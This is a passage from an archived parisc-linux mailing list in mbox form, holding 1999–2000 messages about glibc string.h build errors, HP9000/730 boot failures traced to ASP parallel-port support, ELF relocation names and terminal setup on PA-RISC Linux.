/usr/include/linux/string.h:36: parse error before '}' token
/usr/include/linux/string.h:39: parse error before "__extension__"
/usr/include/linux/string.h:39: parse error before '&&' token
/usr/include/linux/string.h:39: parse error before '}' token
/usr/include/linux/string.h:39: redefinition of `__result'
/usr/include/linux/string.h:36: `__result' previously defined here
/usr/include/linux/string.h:39: parse error before ')' token
/usr/include/linux/string.h:39: `__s2' undeclared here (not in a function)
/usr/include/linux/string.h:39: parse error before ';' token
/usr/include/linux/string.h:39: conflicting declarations of `__result'
/usr/include/linux/string.h:39: `__result' previously defined here
/usr/include/linux/string.h:39: parse error before '}' token
/usr/include/linux/string.h:39: parse error before '}' token
/usr/include/linux/string.h:39: redefinition of `__result'
/usr/include/linux/string.h:39: `__result' previously defined here
/usr/include/linux/string.h:39: `__s1' undeclared here (not in a function)
/usr/include/linux/string.h:39: parse error before ')' token
/usr/include/linux/string.h:39: parse error before ';' token
/usr/include/linux/string.h:39: conflicting declarations of `__result'
/usr/include/linux/string.h:39: `__result' previously defined here
/usr/include/linux/string.h:39: parse error before '}' token
/usr/include/linux/string.h:45: parse error before "__extension__"
/usr/include/linux/string.h:51: parse error before "__extension__"
/usr/include/linux/string.h:61: parse error before "__extension__"
/usr/include/linux/string.h:61: parse error before '\x0'
/usr/include/linux/string.h:61: parse error before '}' token
fdiskbsdlabel.c: In function `xbsd_zaplabel':
fdiskbsdlabel.c:840: warning: `sector' might be used uninitialized in this function
bdale@j5k:/space/debian/util-linux-2.10o/fdisk $ 


From - Thu Nov 08 21:13:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiler bug?
Date: Sun, 5 Nov 2000 18:41:54 +1100 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011051831170.2082-100000@front.linuxcare.com.au>
References: <20001105061629.9FF2835E20@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619251 5518 80.91.229.3 (22 Nov 2014 01:20:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Bdale Garbee <bdale@gag.com>
Original-X-From: alan@linuxcare.com.au  Sun Nov  5 00:40:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA30241
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Nov 2000 00:40:18 -0700
Original-Received: (qmail 16794 invoked by uid 15267); 5 Nov 2000 07:42:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16778 invoked from network); 5 Nov 2000 07:42:05 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 5 Nov 2000 07:42:05 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA04874;
	Sun, 5 Nov 2000 18:41:55 +1100
In-Reply-To: <20001105061629.9FF2835E20@rover.gag.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8326

On Sat, 4 Nov 2000, Bdale Garbee wrote:

> Hacking the makefiles to remove "-O -O2" allows the compile to complete 
> cleanly.  

glibc includes are "smart", and do things like `#if defined __OPTIMIZE__'

> I assume this means something in the compiler is broken?

No, I think it's a problem with glibc, or perhaps just your include files.

> bdale@j5k:/space/debian/util-linux-2.10o/fdisk $ cc -c -O -O2 -fomit-frame-pointer -I../lib -Wall -Wmissing-prototypes -Wstrict-prototypes -DNCH=1  -DSBINDIR=\"/sbin\" -DUSRSBINDIR=\"/usr/sbin\" -DLOGDIR=\"/var/log\" -DVARPATH=\"/var\" -DLOCALEDIR=\"/usr/share/locale\" fdiskbsdlabel.c -o fdiskbsdlabel.o
> /usr/include/linux/string.h:12: parse error before "__extension__"

Your .i file had this in it:

extern char * ___strtok;
extern char * __extension__ ({ char __a0, __a1, __a2; [rest snipped]

which comes from linux/string.h

extern char * ___strtok;
extern char * strcpy(char *,const char *);

The problem being that strcpy is being replaced with an inline
expansion.  Dunno why this is happenning.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:13:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "xam@deathsdoor.com" <xam@sgate.charlysworld.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP9000/730 boot problems
Date: Mon, 6 Nov 2000 01:14:41 +0100 (CET)
Lines: 67
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10011060038490.12435-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619251 5524 80.91.229.3 (22 Nov 2014 01:20:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:51 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: xam@sgate.charlysworld.de  Sun Nov  5 17:13:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA03381
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Nov 2000 17:13:03 -0700
Original-Received: (qmail 7193 invoked by uid 15267); 6 Nov 2000 00:14:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7138 invoked from network); 6 Nov 2000 00:14:50 -0000
Original-Received: from p3ee03990.dip.t-dialin.net (HELO sgate.charlysworld.de) (root@62.224.57.144)
  by mailserv2.iuinc.com with SMTP; 6 Nov 2000 00:14:50 -0000
Original-Received: from localhost (xam@localhost)
	by sgate.charlysworld.de (8.9.3/8.8.7) with ESMTP id BAA30678
	for <parisc-linux@thepuffingroup.com>; Mon, 6 Nov 2000 01:14:42 +0100
Xref: news.gmane.org gmane.linux.ports.parisc:8327

Hi all,

i have an HP9000/730 (66.6MHz, 32MB RAM, 10MBit Network, CRX graphics,
HIL keyboard & mouse, HP 535MBM SCSI HD).

I got the latest nfsroot, the latest xc and the palo sources from
puffin.external.hp.com.

the parition scheme for the HD (id 6) is

/dev/sdb1   swap   128MB
/dev/sdb2   f0     10MB
/dev/sdb3   ext2   rest

i untarred nfsroot on /dev/sdb3 and changed /etc/fstab accordingly
i installed palo with the following command

/opt/palinux/palo-src/palo/palo -I -k /hydra/hppa/boot/vmlinux -b
/opt/palinux/palo-src/iplboot  -c '3/boot/vmlinux TERM=linux HOME=/
root=/dev/sdb3' /dev/sdb


well, i used /dev/sdb since there is also the scsi fd (id 0)
that is /dev/sda IMHO (i tested alos to use root=/dev/sda3 btw).

some of the boot messages

PDC ROM rev. 2.1
IODC ROM rev. 2.1
32 MB of memory configured and tested.



Selecting a system to boot.

Hard booted.

[...]
now it prints the palo configuration as i installed it
and the hd partition scheme (but /dev/idaXYZ instead of /dev/sdbXYZ
[...]
ext2 block size 1024
ext2_open(/boot/vmlinux) = 3
ext2_mount(partition 3) returns 0
ELF32 executable
[...]

now all recognized devices (SGC craphics, BA, HIL, LAN, 2x RS232, SCSI,
EISA, Core Centronics, HP model 'king Cobra' ...)

the kernel boots actually, but i dumps the stack register and the
processor registers (not included in this mail) after

ASP version 1 at ..... found


thats all.
no message like 'unable to boot root fs' or something ...

any help ?

PS: i tried to use a IBM0664 2.0GB scsi hd before (works fine on
linux/ia32), but i couldn't get it work on hp (i reported this
in a former mail).

PPS: just FYI: the same configuration worked with HP/UX 10.10


From - Thu Nov 08 21:13:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000/730 boot problems
Date: Sun, 05 Nov 2000 17:21:12 -0800
Lines: 68
Approved: news@gmane.org
Message-ID: <200011060121.RAA02002@milano.cup.hp.com>
References: <Pine.LNX.4.10.10011060038490.12435-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619251 5525 80.91.229.3 (22 Nov 2014 01:20:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "xam@deathsdoor.com" <xam@sgate.charlysworld.de>
Original-X-From: grundler@cup.hp.com  Sun Nov  5 18:14:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA04052
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Nov 2000 18:14:36 -0700
Original-Received: (qmail 17432 invoked by uid 15267); 6 Nov 2000 01:16:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17425 invoked from network); 6 Nov 2000 01:16:17 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 6 Nov 2000 01:16:17 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 5C0497C; Sun,  5 Nov 2000 17:16:11 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id RAA02002;
	Sun, 5 Nov 2000 17:21:13 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 06 Nov 2000 01:14:41 PST."
             <Pine.LNX.4.10.10011060038490.12435-100000@sgate.charlysworld.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:8328

"xam@deathsdoor.com" wrote:
> Hi all,
> 
> i have an HP9000/730 (66.6MHz, 32MB RAM, 10MBit Network, CRX graphics,
> HIL keyboard & mouse, HP 535MBM SCSI HD).
> 
> I got the latest nfsroot, the latest xc and the palo sources from
> puffin.external.hp.com.
> 
> the parition scheme for the HD (id 6) is
> 
> /dev/sdb1   swap   128MB
> /dev/sdb2   f0     10MB
> /dev/sdb3   ext2   rest
> 
> i untarred nfsroot on /dev/sdb3 and changed /etc/fstab accordingly
> i installed palo with the following command
> 
> /opt/palinux/palo-src/palo/palo -I -k /hydra/hppa/boot/vmlinux -b
> /opt/palinux/palo-src/iplboot  -c '3/boot/vmlinux TERM=linux HOME=/
> root=/dev/sdb3' /dev/sdb
> 
> 
> well, i used /dev/sdb since there is also the scsi fd (id 0)
> that is /dev/sda IMHO (i tested alos to use root=/dev/sda3 btw).

using /dev/sdb is ok - your palo command looks "right" to me.

> [...]
> now it prints the palo configuration as i installed it
> and the hd partition scheme (but /dev/idaXYZ instead of /dev/sdbXYZ
> [...]
> ext2 block size 1024
> ext2_open(/boot/vmlinux) = 3
> ext2_mount(partition 3) returns 0
> ELF32 executable

This looks like palo loading the vmlinux.

> [...]
> 
> now all recognized devices (SGC craphics, BA, HIL, LAN, 2x RS232, SCSI,
> EISA, Core Centronics, HP model 'king Cobra' ...)
> 
> the kernel boots actually, but i dumps the stack register and the
> processor registers (not included in this mail) after
> 
> ASP version 1 at ..... found

Sounds like ASP support may be broken.
The way to find out where IOAQ and GR2 registers are pointing.
They should point to functions in System.map.
Who is maintaining ASP support?

> PS: i tried to use a IBM0664 2.0GB scsi hd before (works fine on
> linux/ia32), but i couldn't get it work on hp (i reported this
> in a former mail).

Right. I'm pretty sure older PDC/IODC doesn't send START_UNIT command
to the disk drive. The boot drive is expected to spin up on it's own.
I don't know if newer PDC does send START_UNIT either...

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] string.h warnings
Date: Sun, 5 Nov 2000 18:18:35 -0800 (PST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200011060218.SAA02082@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619252 5552 80.91.229.3 (22 Nov 2014 01:20:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:52 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sun Nov  5 19:11:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA04558
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Nov 2000 19:11:44 -0700
Original-Received: (qmail 26094 invoked by uid 15267); 6 Nov 2000 02:13:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26087 invoked from network); 6 Nov 2000 02:13:34 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 6 Nov 2000 02:13:34 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 2429396A
	for <parisc-linux@thepuffingroup.com>; Sun,  5 Nov 2000 18:13:33 -0800 (PST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id SAA02082
	for parisc-linux@thepuffingroup.com; Sun, 5 Nov 2000 18:18:35 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:8329


When linux/arch/parisc/kernel/pci.c built, I get the following
warnings:
/linux/kwdb64/linux/include/linux/string.h:54: warning: conflicting types for built-in function `strlen'
/linux/kwdb64/linux/include/linux/string.h:61: warning: conflicting types for built-in function `memset'
/linux/kwdb64/linux/include/linux/string.h:64: warning: conflicting types for built-in function `memcpy'
/linux/kwdb64/linux/include/linux/string.h:73: warning: conflicting types for built-in function `memcmp'

Could this be related to or shed light on the problem bdale had?

thanks,
grant


From - Thu Nov 08 21:13:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] string.h warnings
Date: Sun, 5 Nov 2000 21:34:54 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0011052130550.30062-100000@mojo.calyx.net>
References: <200011060218.SAA02082@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619252 5786 80.91.229.3 (22 Nov 2014 01:20:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: bri@mojo.calyx.net  Sun Nov  5 19:33:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA04982
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Nov 2000 19:33:37 -0700
Original-Received: (qmail 9819 invoked by uid 15267); 6 Nov 2000 02:35:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9810 invoked from network); 6 Nov 2000 02:35:25 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 6 Nov 2000 02:35:25 -0000
Original-Received: (qmail 30169 invoked from network); 5 Nov 2000 21:34:59 -0500
Original-Received: from mojo.calyx.net (HELO mojo) (yel4ofxqxh2kkz85o2y2@208.132.136.2)
  by mail.calyx.net with SMTP; 5 Nov 2000 21:34:59 -0500
In-Reply-To: <200011060218.SAA02082@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8330



On Sun, 5 Nov 2000, Grant Grundler wrote:
> When linux/arch/parisc/kernel/pci.c built, I get the following
> warnings:
> /linux/kwdb64/linux/include/linux/string.h:54: warning: conflicting types for built-in function `strlen'
> /linux/kwdb64/linux/include/linux/string.h:61: warning: conflicting types for built-in function `memset'
> /linux/kwdb64/linux/include/linux/string.h:64: warning: conflicting types for built-in function `memcpy'
> /linux/kwdb64/linux/include/linux/string.h:73: warning: conflicting types for built-in function `memcmp'

For some reason I had numerous problems with string.h not being included
when building ncurses natively with the nfsroot tarball.  (Also the 
nfsroot tarball seems to not be able to find the crt* objects by default)

--
Brian S. Julin



From - Thu Nov 08 21:13:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel updates.
Date: 19 Apr 1999 14:09:12 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <r2g15wjp1j.fsf@happy.cygnus.com>
References: <199904192104.OAA06003@cllmail.cup.hp.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by tm-edit 7.108)
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1416619252 5792 80.91.229.3 (22 Nov 2014 01:20:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:52 +0000 (UTC)
Cc: "Alex deVries" <adevries@redhat.com>, <parisc-linux@thepuffingroup.com>
To: Cary Coutant <cary@cup.hp.com>
Original-X-From: drepper@cygnus.com  Mon Apr 19 17:10:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id RAA15108
	for <parisc-linux@sod.res.cmu.edu>; Mon, 19 Apr 1999 17:10:04 -0400
Original-Received: (qmail 25833 invoked by uid 15267); 19 Apr 1999 21:08:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25826 invoked from network); 19 Apr 1999 21:08:46 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 19 Apr 1999 21:08:46 -0000
Original-Received: from happy.cygnus.com (happy.cygnus.com [205.180.230.206])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id OAA27279;
	Mon, 19 Apr 1999 14:09:50 -0700 (PDT)
Original-Received: (drepper@localhost) by happy.cygnus.com (8.8.7/8.6.4) id OAA11555; Mon, 19 Apr 1999 14:09:13 -0700
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Cary Coutant's message of "Mon, 19 Apr 1999 14:04:41 -0700"
Original-Lines: 17
X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald"
Xref: news.gmane.org gmane.linux.ports.parisc:8331

Cary Coutant <cary@cup.hp.com> writes:

> This document covers both 32-bit and 64-bit programs, but notes that ELF 
> files are supported on HP-UX only for 64-bit programs. Nevertheless, a 
> complete set of 32-bit relocations is listed in the document (and, yes, 
> some 32-bit relocations have the same number and meaning, but different 
> names, as 64-bit relocations).

But this is a problem.  We might have to change the names then.  One
of the essential things about ELF is that it must be possible to have
support for all kind of architectures in one program.  So all the
definitions have to be able to peacefully coexist in one header file.

-- 
---------------.      drepper at gnu.org  ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Cygnus Solutions `--' drepper at cygnus.com   `------------------------


From - Thu Nov 08 21:13:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000/730 boot problem
Date: Sun, 5 Nov 2000 23:12:56 -0700 (MST)
Lines: 25
Approved: news@gmane.org
Message-ID: <200011060612.XAA06120@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619253 5794 80.91.229.3 (22 Nov 2014 01:20:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Sun Nov  5 23:11:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA05840
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Nov 2000 23:11:08 -0700
Original-Received: (qmail 28127 invoked by uid 15267); 6 Nov 2000 06:12:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28118 invoked from network); 6 Nov 2000 06:12:57 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 6 Nov 2000 06:12:57 -0000
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP id E4AF0933
	for <parisc-linux@thepuffingroup.com>; Mon,  6 Nov 2000 01:12:56 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id XAA06120 for parisc-linux@thepuffingroup.com; Sun, 5 Nov 2000 23:12:56 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8332


"xam@deathsdoor.com" wrote:
> 
> the kernel boots actually, but i dumps the stack register and the
> processor registers (not included in this mail) after
> 
> ASP version 1 at ..... found

Grant Grundler wrote:
> Sounds like ASP support may be broken.
> The way to find out where IOAQ and GR2 registers are pointing.
> They should point to functions in System.map.
> Who is maintaining ASP support?

No, the parallel port support for ASP is broken.  If you disable the
LASI/ASP builtin parallel-port support (CONFIG_PARPORT_GSC) you will get
further.  I can't guarantee you will succeed, but others have reported
some success on boxes almost that old.

This is at least the second time this question has come up, so I guess
I'll add it to the FAQ and todo lists.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:13:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thomas Marteau" <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A browser and a new URL for the ESIEE team web site
Date: Tue, 7 Nov 2000 17:00:48 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <003f01c048d3$e5379ba0$a832d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619253 5797 80.91.229.3 (22 Nov 2014 01:20:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:53 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: marteaut@esiee.fr  Tue Nov  7 08:56:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA08708
	for <parisc-linux@puffin.external.hp.com>; Tue, 7 Nov 2000 08:56:57 -0700
Original-Received: (qmail 15364 invoked by uid 15267); 7 Nov 2000 15:58:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15350 invoked from network); 7 Nov 2000 15:58:29 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 7 Nov 2000 15:58:29 -0000
Original-Received: from pc5158b (pc5158b.esiee.fr [147.215.50.168])
	by mail.esiee.fr (Postfix) with SMTP id 4470D57320
	for <parisc-linux@thepuffingroup.com>; Tue,  7 Nov 2000 16:58:29 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:8333

Hi all,

    We have succeded to compile Lynx on a 712 and it works well.

    Also this short mail must tell you that our website can be reached with
http://www.esiee.fr/puffin
You can find a cool root FS which has the terminfo directory like that you
won't have the "vt100:unknown term" message, the network support and lot of
thing like that...

Bye, ESIEE Team

Don't hesitate to visit our website


From - Thu Nov 08 21:13:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot command
Date: Tue, 07 Nov 2000 09:46:53 -0800
Lines: 56
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001107094526.00a44990@mail.webcash.com>
References: <Your message of "Fri, 03 Nov 2000 11:46:39 PST." <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
 <Your message of "Fri, 03 Nov 2000 11:03:23 PST." <5.0.0.25.0.20001102174648.02a4fb20@mail.webcash.com>
 <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
 <5.0.0.25.0.20001103145524.00a49a50@mail.webcash.com> <3A056715.45799D85@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619253 5800 80.91.229.3 (22 Nov 2014 01:20:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:53 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Thierry SIMONNET <t.simonnet@esiee.fr>
Original-X-From: kailasr@webcash.com  Tue Nov  7 10:48:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA09733
	for <parisc-linux@puffin.external.hp.com>; Tue, 7 Nov 2000 10:48:09 -0700
Original-Received: (qmail 25481 invoked by uid 15267); 7 Nov 2000 17:49:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25459 invoked from network); 7 Nov 2000 17:49:46 -0000
Original-Received: from ns2.imedia.net (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 7 Nov 2000 17:49:46 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by ns2.imedia.net (8.10.2/8.9.3) with ESMTP id eA7Him723064;
	Tue, 7 Nov 2000 09:44:48 -0800 (PST)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
In-Reply-To: <3A056715.45799D85@esiee.fr>
Original-References: <Your message of "Fri, 03 Nov 2000 11:46:39 PST." <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
 <Your message of "Fri, 03 Nov 2000 11:03:23 PST." <5.0.0.25.0.20001102174648.02a4fb20@mail.webcash.com>
 <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
 <5.0.0.25.0.20001103145524.00a49a50@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8334

Hi,
Thanks. I copied the termcap and terminfo directory froma red hat linux 
box. Now I am able to run VI and the TERM is vt100.

Regards
Kailas

At 02:56 PM 11/5/00 +0100, Thierry SIMONNET wrote:
>To have a suitable TERM, you must get termcap or terminfo definition; ie a
>good terminfo tree from a linux box. To have a good method to install a
>pa/linux box, see my student's web site at http://www.esiee.fr/~djoudim
>
>Th. SIMONNET
>
>
>Kailashnath V Rampure wrote:
>
> > Thanks!  Paul.
> > Yes I had copied the lifImage there. Now I have downloaded the kernel from
> > the link you mentioned.
> >
> > I am still unable to use vi as it says "linux:unknown terminal type"
> > Can you help me.
> >
> > To add features can I add deb packages. I am not that familiar with debian.
> > Actually I want to build an apache + mod_ssl+mod_perl on A180c.
> > Regards
> > Kailas
> >
> > At 01:30 PM 11/3/00 -0700, Paul Bame wrote:
> > >= ext2_open(/boot/vmlinux)=3
> > >= Couldn't gork your kernel executabel format failed to load kernel
> > >= Failed to load Kernel.
> > >
> > >That should be "grok" :-)  Apparently you're not using cut/paste for
